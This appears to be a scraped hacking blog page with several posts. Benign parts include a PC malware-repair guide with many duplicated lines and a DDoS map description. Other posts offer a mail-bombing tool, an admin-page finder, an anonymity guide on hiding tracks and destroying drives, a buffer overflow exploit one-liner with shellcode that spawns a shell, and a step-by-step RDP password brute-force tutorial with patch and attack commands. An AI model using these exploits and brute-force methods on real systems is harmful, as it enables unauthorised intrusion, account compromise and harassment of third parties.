Supports
- Finding server ip
- Finding sites hosted on the same server
Source Code : [ PasteBin ]
http://www.2shared.com/file/HR67kZYX/Reverse_Ip_Checker.html?
Welcome To The World Of Exploitation & Ethical Hacking
Live Ddos View
Live DDoS Attack Map | Apakau
Live DDoS Attack Map
This map is the fruit of collaboration between Google Ideas and Arbor Networks in an effort to raise awareness about distributed denial of service attacks in the world everyday.
Exploring the Data
The Digital Attack Map displays global DDoS activity on any given day. Attacks are displayed as dotted lines, scaled to size, and placed according to the source and destination countries of the attack traffic when known. Some features include:
- Use the histogram at the bottom of the map to explore historical data.
- Select a country to view DDoS activity to or from that country.
- Use the color option to view attacks by class, duration, or source/destination port.
- Use the news section to find online reports of attack activity from a specified time.
- View the gallery to explore some examples of days with notable DDoS attacks.
Tuesday, January 27, 2015
[Python] Reverse Ip Checker
Supports
Source Code : [ PasteBin ]
http://www.2shared.com/file/HR67kZYX/Reverse_Ip_Checker.html?
WebAdmin Login Finder (Scans over 1500)
Available for download at :
Code:
http://sourceforge.net/projects/webadminloginfinder/files/?source=navbar
Platform : Any Windows/Linux/Mac
Requirement : Python 2.x Downloadable from : http://www.python.org/getit/
Instructions:
For Windows:
1. Install Python 2.x
2. Browse to the Downloaded folde
3. Double click on the script to run
4. If it opens as editable in Idle press F5 to run the script
For Linux:
1. Download the file
2. Copy the file to your desktop
3. Open terminal and type "cd Desktop/ "
4. Launch the script by typing python <filename.py> (Feel free to rename the script to something small to make it easier if you wish to)
5. Enter the URL whose administrative page needs to be found out
6. Enter the type of website that you are scanning by choosing the appropriate numbe
7. Hit Enter and wait for the result.
Yamagata Gennosuke
Advanced Mail Bomber
Advanced mail bomber is a utility used to send mass email attacks with mail lists.
Site URL:
Basic Stack based Buffer Overflow Vulnerability
A Buffer Overflow (Also know as a Buffer Overrun, etc), is a vulnerability generally caused by bad / insecure programming practice. This vulnerability takes advantage of insecure functions which copy data blindly between buffers, without checking whether the source buffer contains a larger amount of data than the destination buffer has allocated.
This can lead to excess data being copied in to adjacent memory, overwriting the data that presides there. One can use this arbitrary write functionality to overwrite the current stack frame's return pointer, therefore leading to arbitrary data being pop'ed in to EIP, and treated as a pointer to the next code segment. This allows for attackers to overwrite the return pointer with an address which they control, ultimately ending up in arbitrary code execution of shellcode which they have placed on the stack. (Or other functions, perhaps).
Example Vulnerable Code:
int main(int argc, char *argv[]) {
char *buf[512];
strcpy(buf, argv[1]);
return 0;
}
char *buf[512];
strcpy(buf, argv[1]);
return 0;
}
Example Exploit Code:
./vulnerable $(python -c "print '%s%s%s' % ('\x90' * (516-23), '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80', '\x5c\xcc\xff\xbf')")
Step-By-Step PC Repair
Prerequisites:
A Computer
This guide is for infected PC & NON-infected PC
Probably this will save your money for stupid virus issues
"this tutorial mainly contains automated tools". for manual removal i am writing another tutorial
Probably this will save your money for stupid virus issues
"this tutorial mainly contains automated tools". for manual removal i am writing another tutorial
STEP -0 PREPARATION
a.disable UAC in vista/windows7 (disabling user account control will not block any removal tools process.and work will be little speedy)
-goto Start menu-->in search box type UAC-->Drag it down to lowest level-->ok.
a.disable UAC in vista/windows7 (disabling user account control will not block any removal tools process.and work will be little speedy)
-goto Start menu-->in search box type UAC-->Drag it down to lowest level-->ok.
b.disable installed anti-virus or any other security product (same reason of not interrupting malware removal process)
-this is very big list, follow [http://www.techsupportforum.com/security-center/virus-trojan-spyware-help/490111-how-disable-your-security-applications.html]
-this is very big list, follow [http://www.techsupportforum.com/security-center/virus-trojan-spyware-help/490111-how-disable-your-security-applications.html]
c.run RKILL [http://www.bleepingcomputer.com/download/antivirus/rkill]
(this will disable all possible virus files which are running And you can use the removal tools)
-Just double click the file you downloaded.
(this will disable all possible virus files which are running And you can use the removal tools)
-Just double click the file you downloaded.
d.run malaware [http://download2.emsisoft.com/malaware/MalAware.exe]
(very small and good cloud anti-malware .this will remove most common but difficult to infections. MAKE SURE INTERNET CONNECTION IS AVAILABLE)
-double click the file-->start-->Clean/protect-->select exit-->next
(very small and good cloud anti-malware .this will remove most common but difficult to infections. MAKE SURE INTERNET CONNECTION IS AVAILABLE)
-double click the file-->start-->Clean/protect-->select exit-->next
e.run quickFix plus -- ONLY FOR XP [http://leelusoft.blogspot.com/2009/10/xp-quick-fix-plus.html]
(enables most of the common problems like cmd.exe,regedit,taskman,cd/dvd drive error fix and much more.small and handy)
-double click file-->just put mouse on a fix to see the function in lower plane-->click on fix which is applicable.
(enables most of the common problems like cmd.exe,regedit,taskman,cd/dvd drive error fix and much more.small and handy)
-double click file-->just put mouse on a fix to see the function in lower plane-->click on fix which is applicable.
e2.run 7quickFix --ONLY FOR VISTA/WIN7 [http://leelusoft.blogspot.com/2009/12/7-quick-fix.html]
(same as quickfix xp but for vista & win7 machines)
-double click file-->just put mouse on a fix to see the function in lower plane-->click on fix which is applicable.
(same as quickfix xp but for vista & win7 machines)
-double click file-->just put mouse on a fix to see the function in lower plane-->click on fix which is applicable.
STEP -1 CLEANUP (no temp cleaner is perfect so i used good and effectinve cleaners. this will go to every possible temp & most virus remainings to remove and improve AV scan time.)
a.run Ccleaner (only file cleaning don't run reg cleaning) [http://www.piriform.com/ccleaner/download/portable]
(most simplest temp file cleaner.it can remove unwanted startup items)
-double click file-->press 'run cleaner'-->close the program.
a.run Ccleaner (only file cleaning don't run reg cleaning) [http://www.piriform.com/ccleaner/download/portable]
(most simplest temp file cleaner.it can remove unwanted startup items)
-double click file-->press 'run cleaner'-->close the program.
b.run ATF Cleaner (with all function temp + firefox + opera) -- for WIN XP ONLY [http://www.atribune.org/index.php?option=com_content&task=view&id=25&Itemid=25]
(good at browser temp cleaning)
-double click file-->select the check boxes-->press 'empty selected' (do this same for firefox & opera)
(good at browser temp cleaning)
-double click file-->select the check boxes-->press 'empty selected' (do this same for firefox & opera)
c.run purera (check all the option) [http://raproducts.org/click/click.php?id=7]
(removes temp & backups that is not use full. and saves lots of space)
-double click file-->next-->select 'check all' & 'create log'-->clean. (this will create 'c:\purera.log' file)
(removes temp & backups that is not use full. and saves lots of space)
-double click file-->next-->select 'check all' & 'create log'-->clean. (this will create 'c:\purera.log' file)
d.run TFC (After cleaning this will reboot your PC) [http://www.geekstogo.com/forum/files/file/187-tfc-temp-file-cleaner-by-oldtimer/]
(specially designed for assisting malware removal tools. removes tools remainings & remainings by viruses)
-double click file-->start (run this as administrator)
(specially designed for assisting malware removal tools. removes tools remainings & remainings by viruses)
-double click file-->start (run this as administrator)
e.run CleanAfterMe [http://www.nirsoft.net/utils/cleanafterme.exes]
(this tool is used for clearing tracks)
-double click file-->select all check boxes-->clean selected items (cleaned items can be seen in lower plane)
(this tool is used for clearing tracks)
-double click file-->select all check boxes-->clean selected items (cleaned items can be seen in lower plane)
f.run diskmax [http://www.koshyjohn.com/software/diskmax/download.html]
(it is same as F.A.C.E. specially for temp cleaning and disk defragment.everything automated)
-install diskmax-->select 'complete' option.
(it is same as F.A.C.E. specially for temp cleaning and disk defragment.everything automated)
-install diskmax-->select 'complete' option.
g.run JavaRa (removes old java JRE) [http://sourceforge.net/projects/javara/files/javara/JavaRa/JavaRa.zip/download]
(removes older virsions and useless remainings of java runtime environment-JRE)
-double click file-->select language-->remove older virsions (close all web browsers)-->after that 'search for updates'(and install new version)-->now click on 'additional tasks'-->select the checkboxes 'remove useless JRE files','remove starup entry'-->GO
(removes older virsions and useless remainings of java runtime environment-JRE)
-double click file-->select language-->remove older virsions (close all web browsers)-->after that 'search for updates'(and install new version)-->now click on 'additional tasks'-->select the checkboxes 'remove useless JRE files','remove starup entry'-->GO
h.run revo-uninstaller [http://www.revouninstaller.com/download/revouninstaller.zip]
(Use full for removing toolbars and other crap)
-double click 'revouninstaller.exe'-->select the unwanted software you want to remove-->press 'uninstall'-->check on 'moderate'-->press 'next'-->follow the application's uninstaller-->(now it will scan remaining files & registry) press 'next'-->select all (for files & registry)--> delete remainings-->finish
(Use full for removing toolbars and other crap)
-double click 'revouninstaller.exe'-->select the unwanted software you want to remove-->press 'uninstall'-->check on 'moderate'-->press 'next'-->follow the application's uninstaller-->(now it will scan remaining files & registry) press 'next'-->select all (for files & registry)--> delete remainings-->finish
i.run pc-decrapifier [http://www.pcdecrapifier.com/download]
(special tool for removing bloatware & trialware & toolbars)
-install-->next->next->next-->select state of your pc-->'create restore point'-->click 'next'-->select unwanted applications-->remove-->exit
(special tool for removing bloatware & trialware & toolbars)
-install-->next->next->next-->select state of your pc-->'create restore point'-->click 'next'-->select unwanted applications-->remove-->exit
STEP -2 BACKUP
a.run eruNT (registry backup) [http://www.larshederer.homepage.t-online.de/erunt/]
(when we use run any registry cleaner or registry removal by any Antivirus product .there is chances for registry corruption.for preventing that use this tool.it will save the copy of current user profile and all registry hives for easy restoretion)
-double click 'eruNT.exe'(run as administrator)-->press 'ok' on welcome message-->select check box 'system registry','current user registry'-->navigate where you want the backuped files-->press 'ok'-->create folder 'ok'-->back up complete 'ok'
a.run eruNT (registry backup) [http://www.larshederer.homepage.t-online.de/erunt/]
(when we use run any registry cleaner or registry removal by any Antivirus product .there is chances for registry corruption.for preventing that use this tool.it will save the copy of current user profile and all registry hives for easy restoretion)
-double click 'eruNT.exe'(run as administrator)-->press 'ok' on welcome message-->select check box 'system registry','current user registry'-->navigate where you want the backuped files-->press 'ok'-->create folder 'ok'-->back up complete 'ok'
b.run hostXpert (host file backup) [http://www.funkytoad.com/index.php?option=com_content&task=view&id=13&Itemid=]
(by this tool can edit host file ,removing or applying permissions of host file,backup & restore host file .when you are facing too many redirections check this file and replace it with original one by this tool)
-double click file-->click on 'make file writeable'-->click'backup/restore'-->create backup (this will create the host file back up in same folder where hostxpert is)-->click'make readonly'-->exit
(by this tool can edit host file ,removing or applying permissions of host file,backup & restore host file .when you are facing too many redirections check this file and replace it with original one by this tool)
-double click file-->click on 'make file writeable'-->click'backup/restore'-->create backup (this will create the host file back up in same folder where hostxpert is)-->click'make readonly'-->exit
STEP -3 REG CLEANUP (remove obsolute and crap registry entrys)
a.run wise cleaner [http://www.wisecleaner.com/soft/WRCFree.zip]
(this is safe registry cleaner.which will fix many internet and file related problems)
-double click 'WiseRegistryCleaner.exe'-->select language-->cancel the back up option (because we have done it)-->scan(make sure it is on 'check all')-->Fix-->exit
a.run wise cleaner [http://www.wisecleaner.com/soft/WRCFree.zip]
(this is safe registry cleaner.which will fix many internet and file related problems)
-double click 'WiseRegistryCleaner.exe'-->select language-->cancel the back up option (because we have done it)-->scan(make sure it is on 'check all')-->Fix-->exit
b.run glary registry repair [http://download.glarysoft.com/rrsetup.exe]
(another registry cleaner with good reputation)
-install(uncheck ask toolbar)-->start glary registry repair--> scan registry for problems-->'repair'-->close-->exit
(another registry cleaner with good reputation)
-install(uncheck ask toolbar)-->start glary registry repair--> scan registry for problems-->'repair'-->close-->exit
STEP -4 MALWARE REMOVAL (only quarantine virus file if not sure)
Part -1 general infection removal
a.run spybotSD [http://www.safer-networking.org/en/download/]
(this tool removes malware entrys based on registry hives.works good for bot removevals.removes registrys by malwares and unhooks them)
-install-->start spybotSD-->'search for update'-->'check for problems'-->'fix problems'-->uninstall program(optional)
Part -1 general infection removal
a.run spybotSD [http://www.safer-networking.org/en/download/]
(this tool removes malware entrys based on registry hives.works good for bot removevals.removes registrys by malwares and unhooks them)
-install-->start spybotSD-->'search for update'-->'check for problems'-->'fix problems'-->uninstall program(optional)
b.run malwarebytes anti-malware [http://portableappz.blogspot.com/2010/12/malwarebytes-anti-malware-15011100.html]
(most effective and special tool for malware & fraud software removals)
-install it where you want its portable virsion-->update database-->'full scan'-->remove findings(when asked for reboot do it)
(most effective and special tool for malware & fraud software removals)
-install it where you want its portable virsion-->update database-->'full scan'-->remove findings(when asked for reboot do it)
c.run emsisoft emergency kit scanner [http://www.emsisoft.com/en/software/eek/]
(this is the new generation antivirus scanner with good detections but it gives some false positive.over all works with any condition)
-double click 'emergencykit.bat'-->update database-->select 'deep scan'-->quarantine infected files-->exit
(this is the new generation antivirus scanner with good detections but it gives some false positive.over all works with any condition)
-double click 'emergencykit.bat'-->update database-->select 'deep scan'-->quarantine infected files-->exit
Part -2 fake security programs (antivirus,antispyware,optimization tools)
FIRST BOOT IN SAFE MODE (this tools are self explanatory follow instructions on screen)
a.run remove fake-antivirus [http://freeofvirus.blogspot.com/2009/05/remove-fake-antivirus-10.html]
b.run SmitfraudFix [http://siri.geekstogo.com/SmitfraudFix.php]
c.run smitRem [http://noahdfear.geekstogo.com/click%20counter/click.php?id=1]
d.run roguefix [http://www.internetinspiration.co.uk/roguefix.htm]
e.run stinger Fake-Alart [http://www.mcafee.com/us/downloads/free-tools/fake-alert-stinger.aspx]
(above are the separate tools from diffrent authers for fraudware & malware removals removes fake alerts of system,removes rogueware)
FIRST BOOT IN SAFE MODE (this tools are self explanatory follow instructions on screen)
a.run remove fake-antivirus [http://freeofvirus.blogspot.com/2009/05/remove-fake-antivirus-10.html]
b.run SmitfraudFix [http://siri.geekstogo.com/SmitfraudFix.php]
c.run smitRem [http://noahdfear.geekstogo.com/click%20counter/click.php?id=1]
d.run roguefix [http://www.internetinspiration.co.uk/roguefix.htm]
e.run stinger Fake-Alart [http://www.mcafee.com/us/downloads/free-tools/fake-alert-stinger.aspx]
(above are the separate tools from diffrent authers for fraudware & malware removals removes fake alerts of system,removes rogueware)
Part -3 Rootkit removal (RUN IN NORMAL MODE AND ALWAYS USE DISINFECT OR CURE OPTION)
a.run TDSS-Killer [http://support.kaspersky.com/downloads/utils/tdsskiller.zip]
(most effective automated antiroot kit tool for 'all versions of TDSS root kit.works on both x32 & x64 OS)
-double click file-->check both options & start scan-->ONLY APPLY CURE OR DISINFECT OPTION-->close
a.run TDSS-Killer [http://support.kaspersky.com/downloads/utils/tdsskiller.zip]
(most effective automated antiroot kit tool for 'all versions of TDSS root kit.works on both x32 & x64 OS)
-double click file-->check both options & start scan-->ONLY APPLY CURE OR DISINFECT OPTION-->close
b.run Norman TDSS cleaner [http://www.norman.com/support/support_tools/77201/en]
(good automated tool for mbr and kernal hooking rootkit removals)
-double click file-->start scan-->it will automatically cure infections-->close
(good automated tool for mbr and kernal hooking rootkit removals)
-double click file-->start scan-->it will automatically cure infections-->close
c.run GMER (ONLY FOR EXPERTS) [http://www2.gmer.net/gmer.zip]
(best for manual removal of rootkits,includes cmd shell,registry,process)
-double click file-->select'rootkit/malware'-->remove detection-->close
(best for manual removal of rootkits,includes cmd shell,registry,process)
-double click file-->select'rootkit/malware'-->remove detection-->close
d.run mbr-check (ONLY FOR EXPERTS) [http://ad13.geekstogo.com/MBRCheck.exe]
(detects and removes malicious MBR CODE injected to standard MBR code)
-double click file (run as administrator)-->if non-standerd or infected MBR found-->press 'y' hit enter-->press '2'(restore standard MBR code) hit enter(DONT USE THIS ON DELL MACHINES)
(detects and removes malicious MBR CODE injected to standard MBR code)
-double click file (run as administrator)-->if non-standerd or infected MBR found-->press 'y' hit enter-->press '2'(restore standard MBR code) hit enter(DONT USE THIS ON DELL MACHINES)
e.run combofix (download letest file USE IT AS LAST RESOURSE. IT CAN CAUSE DAMAGE IN 10/100 PC) [http://www.bleepingcomputer.com/download/anti-virus/combofix]
(very usefull for trojans and root kit removal.which even not caugth by major AV tools)
-double click file(RUN AS ADMINISTRATOR)-->this will run all scan
(very usefull for trojans and root kit removal.which even not caugth by major AV tools)
-double click file(RUN AS ADMINISTRATOR)-->this will run all scan
STEP -5 REPAIR (DO THIS EVEN IF ALL LOOKS FINE)
a.run Dial-a-Fix -- ONLY FOR XP [http://djlizard.net.nyud.net:8080/software/Dial-a-fix-v0.60.0.24.zip]
(re-registers and re-assings file to its proper links and functions.repairs most of the system unstability problems)
-double click file-->select 'fix ssl/https/cryptsvc' all under 'registration center'-->'go'-->after that,click 'policies'-->uncheck 'hide disabled policies'-->rescan-->if found 'remove'-->exit
a.run Dial-a-Fix -- ONLY FOR XP [http://djlizard.net.nyud.net:8080/software/Dial-a-fix-v0.60.0.24.zip]
(re-registers and re-assings file to its proper links and functions.repairs most of the system unstability problems)
-double click file-->select 'fix ssl/https/cryptsvc' all under 'registration center'-->'go'-->after that,click 'policies'-->uncheck 'hide disabled policies'-->rescan-->if found 'remove'-->exit
a2.run Advantage-PC-Fix -- ONLY FOR VISTA/WIN7 [http://www.advantage-pc.com/?page_id=721]
(same as Dial-a-fix but only for vista/win7 machines)
-double click file-->under'fixes & utilities'-->select 'system file checker','driver verifier','file signature verifier'-->press 'run'-->select all under 'vista repair options'-->press 'process checked'
(same as Dial-a-fix but only for vista/win7 machines)
-double click file-->under'fixes & utilities'-->select 'system file checker','driver verifier','file signature verifier'-->press 'run'-->select all under 'vista repair options'-->press 'process checked'
b.run xpy -- ONLY FOR XP (it is like AGENT-TWEAKS) [http://code.google.com/p/xpy/downloads/list]
(a good replacement for GS agenttweaks for xp.applies very good tweaks by registry for optimization of OS)
-double click file-->select 'make changes to your system'-->select desired tweaks-->next-->close
(a good replacement for GS agenttweaks for xp.applies very good tweaks by registry for optimization of OS)
-double click file-->select 'make changes to your system'-->select desired tweaks-->next-->close
b2.run vispa --ONLY FOR VISTA/WIN7 (it is like AGENT-TWEAKS) [http://code.google.com/p/vispa/downloads/list]
(agenttweaks for vista/win7 same as xpy)
-double click file-->select 'make changes to your system'-->select desired tweaks-->next-->close
(agenttweaks for vista/win7 same as xpy)
-double click file-->select 'make changes to your system'-->select desired tweaks-->next-->close
c.run Security-Restore [http://www.rizone3.com/archives/88]
(restores security setting for internet,system etc, which may be altered by malware)
-double click file-->press 'GO' (it will take some time to complete)
(restores security setting for internet,system etc, which may be altered by malware)
-double click file-->press 'GO' (it will take some time to complete)
d.run complete internet repair (RUN ONLY IF INTERNET PROBLEMS ARE THERE) [http://www.rizone3.com/archives/1308]
(repair most of the internet not working problems)
-double click file(run as administrator)-->simply just select every option and hit 'GO'
(repair most of the internet not working problems)
-double click file(run as administrator)-->simply just select every option and hit 'GO'
STEP -6 PROTECTION
Part -1 Passive Protection
a.disable autorun (THIS IS THE BEST FIX IN MY OPINION.IT JUST PATCHES AUTORUN VULNERABILITY)
-just run the setup which is applicable for your OS
for xp [http://support.microsoft.com/kb/967715/en-us]
for vista [http://support.microsoft.com/default.aspx?scid=kb;en-us;953252]
(stops malware spreading by usb drives)
Part -1 Passive Protection
a.disable autorun (THIS IS THE BEST FIX IN MY OPINION.IT JUST PATCHES AUTORUN VULNERABILITY)
-just run the setup which is applicable for your OS
for xp [http://support.microsoft.com/kb/967715/en-us]
for vista [http://support.microsoft.com/default.aspx?scid=kb;en-us;953252]
(stops malware spreading by usb drives)
b.run spywareblaster (apply all protections) [http://www.javacoolsoftware.com/spywareblaster.html]
(works for all browsers.inserts bad websites to black list in host file by loopback address.and protects from that type of websites infections)
-install-->goto 'updates' & update database-->goto 'protection status'-->click 'enable all protection'-->exit-->uninstall(optional - if you keep it there is no harm to PC)
(works for all browsers.inserts bad websites to black list in host file by loopback address.and protects from that type of websites infections)
-install-->goto 'updates' & update database-->goto 'protection status'-->click 'enable all protection'-->exit-->uninstall(optional - if you keep it there is no harm to PC)
c.run immunize in SpybotSD [http://www.safer-networking.org/en/download/]
(works for all major browsers.inserts bad websites to black list in host file by loopback address.and protects from that type of websites infections)
install-->update database-->goto 'immunize'-->click 'immunize'-->exit-->uninstall spybotSD(optional)
(works for all major browsers.inserts bad websites to black list in host file by loopback address.and protects from that type of websites infections)
install-->update database-->goto 'immunize'-->click 'immunize'-->exit-->uninstall spybotSD(optional)
d.use mozilla firefox + WOT + Noscript + adBlockPlus + Redirect Remover + advanceTOR [http://www.mozilla.com/en-US/firefox/]
(i use this setup for 3years and it works.so i added it for extra protection.protects from censorship,hijacking,adds,rendom popups.)
(i use this setup for 3years and it works.so i added it for extra protection.protects from censorship,hijacking,adds,rendom popups.)
Part -2 Active Protection
a.install comodo internet security (do not install it's antivirus) [http://www.comodo.com/home/internet-security/free-internet-security.php]
b.install avast or any other AV you like [http://www.filehippo.com/software/antimalware/antivirus]
a.install comodo internet security (do not install it's antivirus) [http://www.comodo.com/home/internet-security/free-internet-security.php]
b.install avast or any other AV you like [http://www.filehippo.com/software/antimalware/antivirus]
This are the steps which i prefere over years for solving pc problems.
hope this will help in fighting with malware.
hope this will help in fighting with malware.
Yamagata Gennosuke
Staying Anonymous
Prerequisites:
Physical: Laptop, debian install cd
Software: gcc, g++, make, libncurses5-dev, patch, srm, tor, proxychains, ssh, pidgin, pidgin-otr, wpa_supplicant, mac-address-changer
Software: gcc, g++, make, libncurses5-dev, patch, srm, tor, proxychains, ssh, pidgin, pidgin-otr, wpa_supplicant, mac-address-changer
General ways of keeping yourself as secure & anonymous as currently possible. (feel free to update if I've missed anything or something is just incorrect)
***NOTE***
You may be able to accomplish some of this on an apple computer running OSX as well however I have not tested hard disk encryption & you may still be vulnerable to any new safari vulns that come out; but you should be "mostly" safe provided you do a few things covered in an upcoming tutorial next month.
You may be able to accomplish some of this on an apple computer running OSX as well however I have not tested hard disk encryption & you may still be vulnerable to any new safari vulns that come out; but you should be "mostly" safe provided you do a few things covered in an upcoming tutorial next month.
#1) Do not use an SSD, use a normal drive, look at raptors if you need speed
#2) use/install debian
#3) when installing chose to use encrypted LVM (for hard disk encryption), you will have to google the setup if you are not familiar with it, it is often used with raid but i think that is optional.
#4) Do not install any un-needed software or services (such as a gui) unless you absolutely have to & go for the most minimal in that situation. Examples of lightweight gui's: xfce, fluxbox, enlightenment
#5) Follow article here for building custom kernel to keep your box secure (don't forget to turn on grsec after installing):
https://www.soldierx.com/tutorials/Compile-Debian-Kernel-GRSEC
https://www.soldierx.com/tutorials/Compile-Debian-Kernel-GRSEC
#6) Make sure your own system is secure & has no services turned on or accessible from the outside.
#7) Use TOR, you can view some examples here but because the tutorial was written for a different linux distro you may have to do some googleing or ask questions here to avoid the dns caching issue.
https://www.soldierx.com/tutorials/TORK-TOR-GUI-BT4
https://www.soldierx.com/tutorials/TORK-TOR-GUI-BT4
#8) Route connections and traffic through tor or other servers using ssh or proxychains, or your favorite software for doing so, here is a tutorial on doing it with ssh:
https://www.soldierx.com/tutorials/Using-Socks-SSH-instead-Shoes
https://www.soldierx.com/tutorials/Using-Socks-SSH-instead-Shoes
#9) Preferably use open access wifi networks to hide tracks (if you are worried about developing a pattern you need to have a script which will change your laptops mac address & hostname each bootup) ***hint*** the farther you can be from the wifi access points (bigger antenna) the better.
#10) Only talk online using encrypted forms of communication such as: pidgin+OTR or apple's adium which has encryption builtin
#11) Use IPtables for blocking questionable IP addresses/IP ranges that you don't want hitting/talking to your box.
#12) Use an encrypted email service such as hushmail, or at least gmail but definitely not yahoo or msn.
#13) Use pgp
#14) If you don't like using lynx as a web browser and have to install a gui & decide to install mozilla or something as a browser, you should use something that blocks bad scripts such as noscript. Granted if you are worried about anonymity you shouldn't also be worried about seeing the latest youtube video & shouldn't have things like java installed, but noscript will help to block some of the adware. While the majority of the ads & malicious code is written for windows, it should help keep your box safer.
#15) Do not use the same alias for everything! Use different aliases for different things such as email, instant messaging, irc, etc... & do not tie them together by listing them as info for each other. (You may end up having a shit ton of accounts to keep things separate, but it's the best way)
#16) You may also want to look into removing yourself from various websites to include background information sites. We have talked about this in the forum & here are some links to help:
https://www.soldierx.com/bbs/201309/Removing-yourself-background-check-w...
http://www.reddit.com/r/technology/comments/j1mit/how_to_remove_yourself...
https://www.soldierx.com/bbs/201309/Removing-yourself-background-check-w...
http://www.reddit.com/r/technology/comments/j1mit/how_to_remove_yourself...
#17) Should you for any reason ever need to destroy anything, linux's SRM is the preferred method, as well as dban, both of those provide good software deletion capabilities but can take a while. Physical destruction of the ram first then the hard drive is an option too.
Reference:
Brute forcing RDP in Linux with Rdesktop
RDP Brute force patch r805
http://www.foofus.net/jmk/tools/rdp-brute-force-r805.diff
http://www.foofus.net/jmk/tools/rdp-brute-force-r805.diff
You'll also need a window manager, as far as I am aware there is no way to run this from console.
I'll say right off the bat that this method currently is more limited than your options for brute force attacks with Windows. To better explain, in windows you can run two threads with tscrack as well as suppress log messages on the remote host. You should hopefully see some info from me on that in the near future.
Download and install the application and patch using the newest version of foofus's rdp brute force patch, r805.
mkdir rdesktop
tar -xvzf rdesktop-1.5.0.tar.gz
cd cd rdesktop-1.5.0
patch -p1 -i ../rdp-brute-force-r805.diff
./configure
make
sudo make install
make
sudo make install
At this point you should have rdesktop modified and installed.
Herés the output of rdesktop with no flags.
A quick note on -d, if you fire off a standard session to a machine this info is generally populated with local machine and domain names. Simply populate the info in command once you have connected the first time.
Using -g to set the lowest possible resolution will help for slow links and with CPU load on older machines running the attack. Something important to note is many systems will not allow lower than 640x480, or it simply doesn't work well with the patch, it will report unknown errors in console.
Additionally -a at the lowest possible color depth will also help.
Additionally -a at the lowest possible color depth will also help.
The -z flag hasn't given me much improvement over the current settings im listing below.
I honestly cant think of any reason you would use -f, unless you were local and had nothing better to do with you computer while the attack is running.
This is what I recommend,
rdesktop -g 640x480 -a 8 -u [user] -p [file] -d [domain] [Target IP]
The target :
And here's that targets password freshly cracked.
Something else you'll likely encounter is account lockout due to multiple authentication attempts. Here's a screen shot from event viewer on the target.
This is what you will see on your host if this happens
Here's the inherent problem, you have to either constantly eyeball your attack for failure. Per most Microsoft Documentation, the Administrator account is usually never locked out.
I've found that even on base installs of 2003 server, you will get locked out. I experienced this behavior with XP clients also. To finish this section of the tut I just used a tiny list with the known password for demonstration of a successful attack.
rdesktop as far as I can tell currently offers no method to work around this situation. This is why I would advice TScrack.
Yamagata Gennosuke
Subscribe to:
Posts (Atom)